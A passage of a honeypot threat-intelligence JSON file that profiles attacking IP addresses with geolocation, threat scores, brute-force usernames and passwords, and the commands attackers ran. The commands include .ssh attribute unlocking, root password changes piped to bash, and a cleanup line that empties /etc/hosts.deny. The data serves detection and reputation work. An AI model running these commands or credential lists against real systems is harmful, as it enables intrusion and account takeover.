      "honeypot_breakdown_30d": {
        "Cowrie": 15849,
        "Suricata": 8096
      }
    },
    "81.193.159.166": {
      "attack_count": 534,
      "first_seen": "2026-05-15T21:21:06.695Z",
      "last_seen": "2026-05-24T09:44:21.990Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pakchoi",
        "production",
        "ubuntu",
        "aaa",
        "ahsan",
        "arun",
        "dbus-helper",
        "demo",
        "heartbeat",
        "hugo",
        "inoue",
        "jin",
        "linux",
        "mosquitto",
        "newftpuser",
        "roman",
        "systemd-sync",
        "udev-monitor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "100200",
        "123456",
        "1234abcd!",
        "360",
        "9ijn*UHB",
        "Aa123456.",
        "Aaa123321",
        "Dd112211",
        "Kermit123@",
        "P@$$w0rd@2019",
        "Push@8240",
        "aBc123456",
        "aaa",
        "abc@123",
        "ahsan",
        "amadeus"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nGqDYf7Abi2hI\\nGqDYf7Abi2hI\\n\"|passwd",
        "echo \"Aa123456.\\nepYHMAake9vt\\nepYHMAake9vt\\n\"|passwd",
        "echo \"Kermit123@\\nWs2fTL6tPUXf\\nWs2fTL6tPUXf\\n\"|passwd",
        "echo \"root:VPLss37DhUe1\"|chpasswd|bash",
        "echo -e \"123456\\nGqDYf7Abi2hI\\nGqDYf7Abi2hI\"|passwd|bash",
        "echo -e \"Aa123456.\\nepYHMAake9vt\\nepYHMAake9vt\"|passwd|bash",
        "echo -e \"Kermit123@\\nWs2fTL6tPUXf\\nWs2fTL6tPUXf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Santa Cruz das Flores",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 676,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:21:06.695000+00:00",
        "last_seen_30d": "2026-05-24T09:45:28.302000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 534,
        "Suricata": 142
      }
    },
    "103.172.236.241": {
      "attack_count": 514,
      "first_seen": "2026-05-25T09:27:05.720Z",
      "last_seen": "2026-05-31T22:41:05.468Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "aziz",
        "ossuser",
        "toor",
        "ubuntu",
        "aaa",
        "angel",
        "cloud",
        "curl",
        "damien",
        "dspace",
        "es",
        "lukas",
        "runner",
        "server",
        "share",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "123412",
        "159357asd",
        "@dmin1234",
        "Aa123654",
        "Changeme_123",
        "Dj123456",
        "P@ssw0rd!2025",
        "Qaz123123",
        "Qwert123",
        "Test123",
        "Wangsu@2017",
        "Welcome@2026!",
        "ali1234",
        "angel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Changeme_123\\necfLsy7TAxGZ\\necfLsy7TAxGZ\\n\"|passwd",
        "echo \"ali1234\\nIF3fmAFJrOKB\\nIF3fmAFJrOKB\\n\"|passwd",
        "echo \"aziz\\n1ivQD8ut7JFG\\n1ivQD8ut7JFG\\n\"|passwd",
        "echo \"password\\njogJHrFUmgsk\\njogJHrFUmgsk\\n\"|passwd",
        "echo \"root:KT3VukmWJYAP\"|chpasswd|bash",
        "echo -e \"Changeme_123\\necfLsy7TAxGZ\\necfLsy7TAxGZ\"|passwd|bash",
        "echo -e \"ali1234\\nIF3fmAFJrOKB\\nIF3fmAFJrOKB\"|passwd|bash",
        "echo -e \"aziz\\n1ivQD8ut7JFG\\n1ivQD8ut7JFG\"|passwd|bash",
        "echo -e \"password\\njogJHrFUmgsk\\njogJHrFUmgsk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 625,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:27:05.720000+00:00",
        "last_seen_30d": "2026-05-31T22:42:06.169000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 111
      }
    },
    "118.193.38.183": {
      "attack_count": 449,
      "first_seen": "2026-05-17T15:51:54.114Z",
      "last_seen": "2026-05-23T08:12:56.200Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "audit",
        "deploy",
        "git",
        "aaa",
        "admin123",
        "ali",
        "apollo",
        "deep",
        "ec2-user",
        "frappe",
        "ftpadmin",
        "gerrit",
        "hari",
        "jrodriguez",
        "nodejs",
        "posiflex",
        "postgres",
        "stefan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "102030",
        "1234..",
        "12345!",
        "12345678",
        "1234qweR",
        "1q2w3e4r!",
        "1qaz2wsx@",
        "Aa000000",
        "Aa@11223344",
        "Black@123",
        "Ctyun@2026",
        "Pass@word1",
        "Passw0rd$",
        "QWERTY12345",
        "Salon@123",
        "Star@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"102030\\nSwBaMUVzIpyq\\nSwBaMUVzIpyq\\n\"|passwd",
        "echo \"audit\\ng96cDAaqFvBV\\ng96cDAaqFvBV\\n\"|passwd",
        "echo \"root:IwPs9jyLCgn0\"|chpasswd|bash",
        "echo \"root:RqWppbtODH5j\"|chpasswd|bash",
        "echo -e \"102030\\nSwBaMUVzIpyq\\nSwBaMUVzIpyq\"|passwd|bash",
        "echo -e \"audit\\ng96cDAaqFvBV\\ng96cDAaqFvBV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 549,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:51:54.114000+00:00",
        "last_seen_30d": "2026-05-23T08:13:57.621000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 100
      }
    },
    "70.120.203.193": {
      "attack_count": 425,
      "first_seen": "2026-05-23T14:27:50.827Z",
      "last_seen": "2026-05-30T08:28:03.779Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mk",
        "postgres",
        "vlc",
        "ark",
        "elasticsearch",
        "jb",
        "log",
        "mourad",
        "satisfactory",
        "sgp",
        "sri",
        "vale"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123qweASD",
        "1",
        "1234",
        "123456789010",
        "1234qwerASDF",
        "2001",
        "@Admin2024",
        "A123123a",
        "Debian@123",
        "Dev@123",
        "Password@123",
        "Q1w2e3r4t5y6u7i8o9p0",
        "Zx123456.",
        "aaaaaa",
        "ark",
        "asdasd123123",
        "caca",
        "dahuacloud"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nColOaN9cW2sX\\nColOaN9cW2sX\\n\"|passwd",
        "echo \"Password@123\\nW8FMMOwvUkRW\\nW8FMMOwvUkRW\\n\"|passwd",
        "echo \"mk\\nL13ROjaqkts0\\nL13ROjaqkts0\\n\"|passwd",
        "echo \"root:AvJkvyOpXT17\"|chpasswd|bash",
        "echo -e \"1\\nColOaN9cW2sX\\nColOaN9cW2sX\"|passwd|bash",
        "echo -e \"Password@123\\nW8FMMOwvUkRW\\nW8FMMOwvUkRW\"|passwd|bash",
        "echo -e \"mk\\nL13ROjaqkts0\\nL13ROjaqkts0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hutto",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:27:50.827000+00:00",
        "last_seen_30d": "2026-05-30T08:29:04.463000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 92
      }
    },
    "103.38.219.22": {
      "attack_count": 357,
      "first_seen": "2026-05-09T18:49:36.094Z",
      "last_seen": "2026-05-09T19:37:37.119Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "345gs5662d34",
        "test",
        "devops",
        "myappuser",
        "testuser",
        "bitnami",
        "dev",
        "ftptest",
        "master",
        "mysql",
        "nodeuser",
        "oracle",
        "root",
        "sftp",
        "test1",
        "ts3bot",
        "user",
        "userlog"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "pass",
        "password",
        "!",
        "00000000",
        "123",
        "1234",
        "123456",
        "123456789",
        "12345q",
        "123qwe",
        "1q1q1q",
        "1qazwsx",
        "@dm!n",
        "aA123456789",
        "admin",
        "asdlkj12",
        "bitnami@123",
        "devops2023"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1q1q1q\\nmIrNLdCMXkDn\\nmIrNLdCMXkDn\\n\"|passwd",
        "echo \"devops2023\\n6RwX6paD5AiS\\n6RwX6paD5AiS\\n\"|passwd",
        "echo \"password\\ncRClnvPgGMDr\\ncRClnvPgGMDr\\n\"|passwd",
        "echo -e \"1q1q1q\\nmIrNLdCMXkDn\\nmIrNLdCMXkDn\"|passwd|bash",
        "echo -e \"devops2023\\n6RwX6paD5AiS\\n6RwX6paD5AiS\"|passwd|bash",
        "echo -e \"password\\ncRClnvPgGMDr\\ncRClnvPgGMDr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 151769,
      "as_org": "HEGHESCOM NETWORKS PRIVATE LIMITED",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 436,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:49:36.094000+00:00",
        "last_seen_30d": "2026-05-09T19:38:41.481000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 79
      }
    },
    "152.32.129.236": {
      "attack_count": 328,
      "first_seen": "2026-05-24T10:52:59.959Z",
      "last_seen": "2026-05-29T16:34:07.718Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "odoo17",
        "steam",
        "temp",
        "ubuntu",
        "flussonic",
        "ftpuser",
        "jenkins",
        "michael",
        "sammy",
        "test1",
        "unturned",
        "user",
        "user1",
        "validator"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "0000",
        "00001111",
        "112233",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "Admin@2023",
        "Mm12345",
        "Password12345@",
        "Tx123456",
        "Woaini123.",
        "abcABC@123",
        "abcd",
        "admin123!@#",
        "azerty",
        "fjbdfdjkdsfs541544",
        "flussonic"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\njJPE5sRkogOv\\njJPE5sRkogOv\\n\"|passwd",
        "echo \"root:0GjdBtyxIuEI\"|chpasswd|bash",
        "echo -e \"12345\\njJPE5sRkogOv\\njJPE5sRkogOv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 420,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:52:59.959000+00:00",
        "last_seen_30d": "2026-05-29T16:35:11.632000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 92
      }
    },
    "186.146.235.58": {
      "attack_count": 312,
      "first_seen": "2026-05-20T21:50:12.119Z",
      "last_seen": "2026-05-20T22:23:01.667Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cockroach",
        "viktor",
        "xian",
        "ganesh",
        "guangzhou",
        "kaifa",
        "ma",
        "naver",
        "pritunl",
        "qiantai",
        "roman",
        "spark",
        "wangwei",
        "xiecheng"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "2000",
        "Dd112211",
        "December2024",
        "cockroach",
        "jio",
        "lanzhou",
        "login",
        "ma",
        "naver",
        "password",
        "pritunl",
        "qiantai",
        "qq1314",
        "viktor",
        "xian",
        "xiecheng"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cockroach\\nkByr6KL9bgEE\\nkByr6KL9bgEE\\n\"|passwd",
        "echo \"viktor\\niaywFxR28ogq\\niaywFxR28ogq\\n\"|passwd",
        "echo \"xian\\nGjA4ZGmVjrhn\\nGjA4ZGmVjrhn\\n\"|passwd",
        "echo -e \"cockroach\\nkByr6KL9bgEE\\nkByr6KL9bgEE\"|passwd|bash",
        "echo -e \"viktor\\niaywFxR28ogq\\niaywFxR28ogq\"|passwd|bash",
        "echo -e \"xian\\nGjA4ZGmVjrhn\\nGjA4ZGmVjrhn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:50:12.119000+00:00",
        "last_seen_30d": "2026-05-20T22:24:07.966000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 60
      }
    },
    "43.163.92.224": {
      "attack_count": 241,
      "first_seen": "2026-05-19T20:48:29.221Z",
      "last_seen": "2026-05-19T21:19:52.498Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123root",
        "1qaz2wsx3edc4rfv",
        "2004",
        "India@2022",
        "Welcome2015",
        "aaa111",
        "abcd-1234",
        "asdfgh01",
        "auser",
        "claude",
        "cloudadmin",
        "coding",
        "gustave",
        "hamish123",
        "percy",
        "puppet",
        "qd8899xyz",
        "sharon"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OsjyXoUiXmR6\"|chpasswd|bash",
        "echo \"root:XNQTQj6oYcbM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:48:29.221000+00:00",
        "last_seen_30d": "2026-05-19T21:20:55.808000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "37.143.61.60": {
      "attack_count": 238,
      "first_seen": "2026-05-18T09:09:52.298Z",
      "last_seen": "2026-05-18T09:44:24.683Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "john",
        "teamspeak",
        "teste",
        "azureuser",
        "dev",
        "game",
        "school",
        "stu",
        "user03",
        "world"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "123456",
        "12345678",
        "12qw12qw",
        "AAAaaa111",
        "Admin*2024",
        "Fd123456",
        "Password123!",
        "Qwerty#2025",
        "Test2020",
        "abcd-1234",
        "dev@1234",
        "game123",
        "lihao023..",
        "password",
        "school",
        "stu"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nb6ypYZxbbhf0\\nb6ypYZxbbhf0\\n\"|passwd",
        "echo \"123\\nypVqn9tn83LC\\nypVqn9tn83LC\\n\"|passwd",
        "echo -e \"123\\nb6ypYZxbbhf0\\nb6ypYZxbbhf0\"|passwd|bash",
        "echo -e \"123\\nypVqn9tn83LC\\nypVqn9tn83LC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T09:09:52.298000+00:00",
        "last_seen_30d": "2026-05-18T09:45:34.394000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 59
      }
    },
    "39.117.79.36": {
      "attack_count": 238,
      "first_seen": "2026-05-22T09:17:52.249Z",
      "last_seen": "2026-05-24T00:32:17.998Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "abc",
        "dev",
        "admin",
        "ansible",
        "devuser",
        "hugo",
        "jenkins",
        "mqm",
        "pentaho",
        "remote"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234567890",
        "1qaz@WSX",
        "223344",
        "888888",
        "Abc12345678@",
        "Root123",
        "aa",
        "abc",
        "adminadmin",
        "asdfg@123",
        "dev123",
        "devuser",
        "hugo",
        "jenkins123",
        "mqm",
        "packer",
        "pentaho"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"abc\\nLg4NJtahyEj9\\nLg4NJtahyEj9\\n\"|passwd",
